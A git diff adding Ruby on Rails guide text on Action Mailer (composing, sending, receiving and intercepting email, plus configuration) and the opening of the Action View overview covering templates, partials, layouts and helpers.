+Let's add a method called `welcome_email`, that will send an email to the user's
+registered email address:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  default from: 'notifications at example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  end
+end
+```
+
+Here is a quick explanation of the items presented in the preceding method. For
+a full list of all available options, please have a look further down at the
+Complete List of Action Mailer user-settable attributes section.
+
+* `default Hash` - This is a hash of default values for any email you send from this mailer. In this case we are setting the `:from` header to a value for all messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+
+Just like controllers, any instance variables we define in the method become
+available for use in the views.
+
+#### Create a Mailer View
+
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
+will be the template used for the email, formatted in HTML:
+
+```html+erb
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+```
+
+Let's also make a text part for this email. Not all clients prefer HTML emails,
+and so sending both is best practice. To do this, create a file called
+`welcome_email.text.erb` in `app/views/user_mailer/`:
+
+```erb
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+```
+
+When you call the `mail` method now, Action Mailer will detect the two templates
+(text and HTML) and automatically generate a `multipart/alternative` email.
+
+#### Calling the Mailer
+
+Mailers are really just another way to render a view. Instead of rendering a
+view and sending out the HTTP protocol, they are just sending it out through the
+email protocols instead. Due to this, it makes sense to just have your
+controller tell the Mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First, let's create a simple `User` scaffold:
+
+```bash
+$ bin/rails generate scaffold user name email login
+$ bin/rake db:migrate
+```
+
+Now that we have a user model to play with, we will just edit the
+`app/controllers/users_controller.rb` make it instruct the UserMailer to deliver
+an email to the newly created user by editing the create action and inserting a
+call to `UserMailer.welcome_email` right after the user is successfully saved:
+
+```ruby
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # Tell the UserMailer to send a welcome email after save
+        UserMailer.welcome_email(@user).deliver
+
+        format.html { redirect_to(@user, notice: 'User was successfully created.') }
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: 'new' }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+end
+```
+
+The method `welcome_email` returns a `Mail::Message` object which can then just
+be told `deliver` to send itself out.
+
+### Auto encoding header values
+
+Action Mailer handles the auto encoding of multibyte characters inside of
+headers and bodies.
+
+For more complex examples such as defining alternate character sets or
+self-encoding text first, please refer to the
+[Mail](https://github.com/mikel/mail) library.
+
+### Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email
+message:
+
+* `headers` - Specifies any header on the email you want. You can pass a hash of
+  header field names and value pairs, or you can call `headers[:field_name] =
+  'value'`.
+* `attachments` - Allows you to add attachments to your email. For example,
+  `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to
+  the mail method as a parameter, mail will then create an email, either plain
+  text, or multipart, depending on what email templates you have defined.
+
+#### Adding Attachments
+
+Action Mailer makes it very easy to add attachments.
+
+* Pass the file name and content and Action Mailer and the
+  [Mail gem](https://github.com/mikel/mail) will automatically guess the
+  mime_type, set the encoding and create the attachment.
+
+    ```ruby
+    attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+    ```
+
+  When the `mail` method will be triggered, it will send a multipart email with
+  an attachment, properly nested with the top level being `multipart/mixed` and
+  the first part being a `multipart/alternative` containing the plain text and
+  HTML email messages.
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something
+different, encode your content and pass in the encoded content and encoding in a
+`Hash` to the `attachments` method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail
+  will use the settings you pass in.
+
+    ```ruby
+    encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+    attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+                                   encoding: 'SpecialEncoding',
+                                   content: encoded_content }
+    ```
+
+NOTE: If you specify an encoding, Mail will assume that your content is already
+encoded and not try to Base64 encode it.
+
+#### Making Inline Attachments
+
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+
+    ```ruby
+    def welcome
+      attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+    end
+    ```
+
+* Then in your view, you can just reference `attachments` as a hash and specify
+  which attachment you want to show, calling `url` on it and then passing the
+  result into the `image_tag` method:
+
+    ```html+erb
+    <p>Hello there, this is our image</p>
+
+    <%= image_tag attachments['image.jpg'].url %>
+    ```
+
+* As this is a standard call to `image_tag` you can pass in an options hash
+  after the attachment URL as you could for any other image:
+
+    ```html+erb
+    <p>Hello there, this is our image</p>
+
+    <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
+                                                class: 'photos' %>
+    ```
+
+#### Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g.,
+informing all admins of a new signup) by setting the list of emails to the `:to`
+key. The list of emails can be an array of email addresses or a single string
+with the addresses separated by commas.
+
+```ruby
+class AdminMailer < ActionMailer::Base
+  default to: Proc.new { Admin.pluck(:email) },
+          from: 'notification at example.com'
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email}")
+  end
+end
+```
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy
+(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+
+#### Sending Email With Name
+
+Sometimes you wish to show the name of the person instead of just their email
+address when they receive the email. The trick to doing that is to format the
+email address in the format `"Full Name <email>"`.
+
+```ruby
+def welcome_email(user)
+  @user = user
+  email_with_name = "#{@user.name} <#{@user.email}>"
+  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+```
+
+### Mailer Views
+
+Mailer views are located in the `app/views/name_of_mailer_class` directory. The
+specific mailer view is known to the class because its name is the same as the
+mailer method. In our example from above, our mailer view for the
+`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
+for the HTML version and `welcome_email.text.erb` for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  default from: 'notifications at example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site',
+         template_path: 'notifications',
+         template_name: 'another')
+  end
+end
+```
+
+In this case it will look for templates at `app/views/notifications` with name
+`another`.  You can also specify an array of paths for `template_path`, and they
+will be searched in order.
+
+If you want more flexibility you can also pass a block and render specific
+templates or even render inline or text without using a template file:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  default from: 'notifications at example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site') do |format|
+      format.html { render 'another_template' }
+      format.text { render text: 'Render text' }
+    end
+  end
+end
+```
+
+This will render the template 'another_template.html.erb' for the HTML part and
+use the rendered text for the text part. The render command is the same one used
+inside of Action Controller, so you can use all the same options, such as
+`:text`, `:inline` etc.
+
+### Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name
+needs to be the same as your mailer, such as `user_mailer.html.erb` and
+`user_mailer.text.erb` to be automatically recognized by your mailer as a
+layout.
+
+In order to use a different file, call `layout` in your mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+```
+
+Just like with controller views, use `yield` to render the view inside the
+layout.
+
+You can also pass in a `layout: 'layout_name'` option to the render call inside
+the format block to specify different layouts for different formats:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    mail(to: user.email) do |format|
+      format.html { render layout: 'my_layout' }
+      format.text
+    end
+  end
+end
+```
+
+Will render the HTML part using the `my_layout.html.erb` file and the text part
+with the usual `user_mailer.text.erb` file if it exists.
+
+### Generating URLs in Action Mailer Views
+
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:host` parameter yourself.
+
+As the `:host` usually is consistent across the application you can configure it
+globally in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+#### generating URLs with `url_for`
+
+You need to pass the `only_path: false` option when using `url_for`. This will
+ensure that absolute URLs are generated because the `url_for` view helper will,
+by default, generate relative URLs when a `:host` option isn't explicitly
+provided.
+
+```erb
+<%= url_for(controller: 'welcome',
+            action: 'greeting',
+            only_path: false) %>
+```
+
+If you did not configure the `:host` option globally make sure to pass it to
+`url_for`.
+
+
+```erb
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
+```
+
+NOTE: When you explicitly pass the `:host` Rails will always generate absolute
+URLs, so there is no need to pass `only_path: false`.
+
+#### generating URLs with named routes
+
+Email clients have no web context and so paths have no base URL to form complete
+web addresses. Thus, you should always use the "_url" variant of named route
+helpers.
+
+If you did not configure the `:host` option globally make sure to pass it to the
+url helper.
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
+```
+
+### Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different
+templates for the same action. So, for our UserMailer example, if you have
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the `:parts_order`
+inside of the `ActionMailer::Base.default` method.
+
+### Sending Emails with Dynamic Delivery Options
+
+If you wish to override the default delivery options (e.g. SMTP credentials)
+while delivering emails, you can do this using `delivery_method_options` in the
+mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+  def welcome_email(user, company)
+    @user = user
+    @url  = user_url(@user)
+    delivery_options = { user_name: company.smtp_user,
+                         password: company.smtp_password,
+                         address: company.smtp_host }
+    mail(to: @user.email,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
+  end
+end
+```
+
+### Sending Emails without Template Rendering
+
+There may be cases in which you want to skip the template rendering step and
+supply the email body as a string. You can achieve this using the `:body`
+option. In such cases don't forget to add the `:content_type` option. Rails
+will default to `text/plain` otherwise.
+
+```ruby
+class UserMailer < ActionMailer::Base
+  def welcome_email(user, email_body)
+    mail(to: user.email,
+         body: email_body,
+         content_type: "text/html",
+         subject: "Already rendered!")
+  end
+end
+```
+
+Receiving Emails
+----------------
+
+Receiving and parsing emails with Action Mailer can be a rather complex
+endeavor. Before your email reaches your Rails app, you would have had to
+configure your system to somehow forward emails to your app, which needs to be
+listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a `receive` method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would
+  like your app to receive to `/path/to/app/bin/rails runner
+  'UserMailer.receive(STDIN.read)'`.
+
+Once a method called `receive` is defined in any mailer, Action Mailer will
+parse the raw incoming email into an email object, decode it, instantiate a new
+mailer, and pass the email object to the mailer `receive` instance
+method. Here's an example:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  def receive(email)
+    page = Page.find_by(address: email.to.first)
+    page.emails.create(
+      subject: email.subject,
+      body: email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          file: attachment,
+          description: email.subject
+        })
+      end
+    end
+  end
+end
+```
+
+Action Mailer Callbacks
+---------------------------
+
+Action Mailer allows for you to specify a `before_action`, `after_action` and
+`around_action`.
+
+* Filters can be specified with a block or a symbol to a method in the mailer
+  class similar to controllers.
+
+* You could use a `before_action` to populate the mail object with defaults,
+  delivery_method_options or insert default headers and attachments.
+
+* You could use an `after_action` to do similar setup as a `before_action` but
+  using instance variables set in your mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+  after_action :set_delivery_options,
+               :prevent_delivery_to_guests,
+               :set_business_headers
+
+  def feedback_message(business, user)
+    @business = business
+    @user = user
+    mail
+  end
+
+  def campaign_message(business, user)
+    @business = business
+    @user = user
+  end
+
+  private
+
+    def set_delivery_options
+      # You have access to the mail instance,
+      # @business and @user instance variables here
+      if @business && @business.has_smtp_settings?
+        mail.delivery_method.settings.merge!(@business.smtp_settings)
+      end
+    end
+
+    def prevent_delivery_to_guests
+      if @user && @user.guest?
+        mail.perform_deliveries = false
+      end
+    end
+
+    def set_business_headers
+      if @business
+        headers["X-SMTPAPI-CATEGORY"] = @business.code
+      end
+    end
+end
+```
+
+* Mailer Filters abort further processing if body is set to a non-nil value.
+
+Using Action Mailer Helpers
+---------------------------
+
+Action Mailer now just inherits from `AbstractController`, so you have access to
+the same generic helpers as you do in Action Controller.
+
+Action Mailer Configuration
+---------------------------
+
+The following configuration options are best made in one of the environment
+files (environment.rb, production.rb, etc...)
+
+| Configuration | Description |
+|---------------|-------------|
+|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` -  [...]
+|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
+|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
+|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMail [...]
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+
+For a complete writeup of possible configurations see the
+[Action Mailer section](configuring.html#configuring-action-mailer) in
+our Configuring Rails Applications guide.
+
+### Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   location: '/usr/sbin/sendmail',
+#   arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-reply at example.com'}
+```
+
+### Action Mailer Configuration for Gmail
+
+As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
+becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  address:              'smtp.gmail.com',
+  port:                 587,
+  domain:               'example.com',
+  user_name:            '<username>',
+  password:             '<password>',
+  authentication:       'plain',
+  enable_starttls_auto: true  }
+```
+
+Mailer Testing
+--------------
+
+You can find detailed instructions on how to test your mailers in the
+[testing guide](testing.html#testing-your-mailers).
+
+Intercepting Emails
+-------------------
+There are situations where you need to edit an email before it's
+delivered. Fortunately Action Mailer provides hooks to intercept every
+email. You can register an interceptor to make modifications to mail messages
+right before they are handed to the delivery agents.
+
+```ruby
+class SandboxEmailInterceptor
+  def self.delivering_email(message)
+    message.to = ['sandbox at example.com']
+  end
+end
+```
+
+Before the interceptor can do its job you need to register it with the Action
+Mailer framework. You can do this in an initializer file
+`config/initializers/sandbox_email_interceptor.rb`
+
+```ruby
+ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
+```
+
+NOTE: The example above uses a custom environment called "staging" for a
+production like server but for testing purposes. You can read
+[Creating Rails environments](./configuring.html#creating-rails-environments)
+for more information about custom Rails environments.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
new file mode 100644
index 0000000..5dacd7c
--- /dev/null
+++ b/guides/source/action_view_overview.md
@@ -0,0 +1,1610 @@
+Action View Overview
+====================
+
+After reading this guide, you will know:
+
+* What Action View is and how to use it with Rails.
+* How best to use templates, partials, and layouts.
+* What helpers are provided by Action View and how to make your own.
+* How to use localized views.
+* How to use Action View outside of Rails.
+
+--------------------------------------------------------------------------------
+
+What is Action View?
+--------------------
+
+Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.
+
+Using Action View with Rails
+----------------------------
+
+For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+
+Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+
+```bash
+$ bin/rails generate scaffold post
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/posts_controller.rb
+      invoke    erb
+      create      app/views/posts
+      create      app/views/posts/index.html.erb
+      create      app/views/posts/edit.html.erb
+      create      app/views/posts/show.html.erb
+      create      app/views/posts/new.html.erb
+      create      app/views/posts/_form.html.erb
+      [...]
+```
+
+There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
+For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components.
+
+
+Templates, Partials and Layouts
+-------------------------------
+
+As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each one of them.
+
+### Templates
+
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
+
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
+
+#### ERB
+
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+
+Consider the following loop for names:
+
+```html+erb
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br>
+<% end %>
+```
+
+The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong:
+
+```html+erb
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+```
+
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
+
+#### Builder
+
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
+
+Here are some basic examples:
+
+```ruby
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org")
+xml.target("name" => "compile", "option" => "fast")
+```
+
+which would produce:
+
+```html
+<em>emphasized</em>
+<em><b>emph & bold</b></em>
+<a href="http://rubyonrails.org">A link</a>
+<target option="fast" name="compile" />
+```
+
+Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+
+```ruby
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+```
+
+would produce something like:
+
+```html
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+```
+
+Below is a full-length RSS example actually used on Basecamp:
+
+```ruby
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(item))
+        xml.link(@person.firm.account.url + @recent_items.url(item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+```
+
+#### Template Caching
+
+By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+
+### Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```erb
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```erb
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
+
+```html+erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: {product: product} %>
+<% end %>
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+#### The `as` and `object` options
+
+By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given:
+
+```erb
+<%= render partial: "product" %>
+```
+
+within product we'll get `@product` in the local variable `product`, as if we had written:
+
+```erb
+<%= render partial: "product", locals: {product: @product} %>
+```
+
+With the `as` option we can specify a different name for the local variable. For example, if we wanted it to be `item` instead of `product` we would do:
+
+```erb
+<%= render partial: "product", as: "item" %>
+```
+
+The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (eg. in a different instance variable or in a local variable).
+
+For example, instead of:
+
+```erb
+<%= render partial: "product", locals: {product: @item} %>
+```
+
+we would do:
+
+```erb
+<%= render partial: "product", object: @item %>
+```
+
+The `object` and `as` options can also be used together:
+
+```erb
+<%= render partial: "product", object: @item, as: "item" %>
+```
+
+#### Rendering Collections
+
+It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+
+So this example for rendering all the products:
+
+```erb
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+```
+
+can be rewritten in a single line:
+
+```erb
+<%= render partial: "product", collection: @products %>
+```
+
+When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered.
+
+You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
+
+```erb
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+
+#### Spacer Templates
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
+
+### Layouts
+
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails application has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-l [...]
+
+Partial Layouts
+---------------
+
+Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+
+Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
+
+```ruby
+Post.create(body: 'Partial Layouts are cool!')
+```
+
+In the `show` template, we'll render the `_post` partial wrapped in the `box` layout:
+
+**posts/show.html.erb**
+
+```erb
+<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+```
+
+The `box` layout simply wraps the `_post` partial in a `div`:
+
+**posts/_box.html.erb**
+
+```html+erb
+<div class='box'>
+  <%= yield %>
+</div>
+```
+
+The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
+
+**posts/_post.html.erb**
+
+```html+erb
+<%= div_for(post) do %>
+  <p><%= post.body %></p>
+<% end %>
+```
+
+this would output the following:
+
+```html
+<div class='box'>
+  <div id='post_1'>
+    <p>Partial Layouts are cool!</p>
+  </div>
+</div>
+```
+
+Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead:
+
+**posts/show.html.erb**
+
+```html+erb
+<% render(layout: 'box', locals: {post: @post}) do %>
+  <%= div_for(post) do %>
+    <p><%= post.body %></p>
+  <% end %>
+<% end %>
+```
+
+Supposing we use the same `_box` partial from above, this would produce the same output as the previous example.
+
+View Paths
+----------
+
+TODO...
+
+Overview of helpers provided by Action View
+-------------------------------------------
+
+WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html)
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+### RecordTagHelper
+
+This module provides methods for generating container tags, such as `div`, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+
+#### content_tag_for
+
+Renders a container tag that relates to your Active Record Object.
+
+For example, given `@post` is the object of `Post` class, you can do:
+
+```html+erb
+<%= content_tag_for(:tr, @post) do %>
+  <td><%= @post.title %></td>
+<% end %>
+```
+
+This will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+```
+
+You can also supply HTML attributes as an additional option hash. For example:
+
+```html+erb
+<%= content_tag_for(:tr, @post, class: "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</tr>
+```
+
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
+
+```html+erb
+<%= content_tag_for(:tr, @posts) do |post| %>
+  <td><%= post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+  <td>Ruby on Rails Rocks!</td>
+</tr>
+```
+
+#### div_for
+
+This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+
+```html+erb
+<%= div_for(@post, class: "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<div id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</div>
+```
+
+### AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
+
+```ruby
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+```
+
+#### register_javascript_expansion
+
+Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+  <script src="/assets/head.js"></script>
+  <script src="/assets/body.js"></script>
+  <script src="/assets/tail.js"></script>
+```
+
+#### register_stylesheet_expansion
+
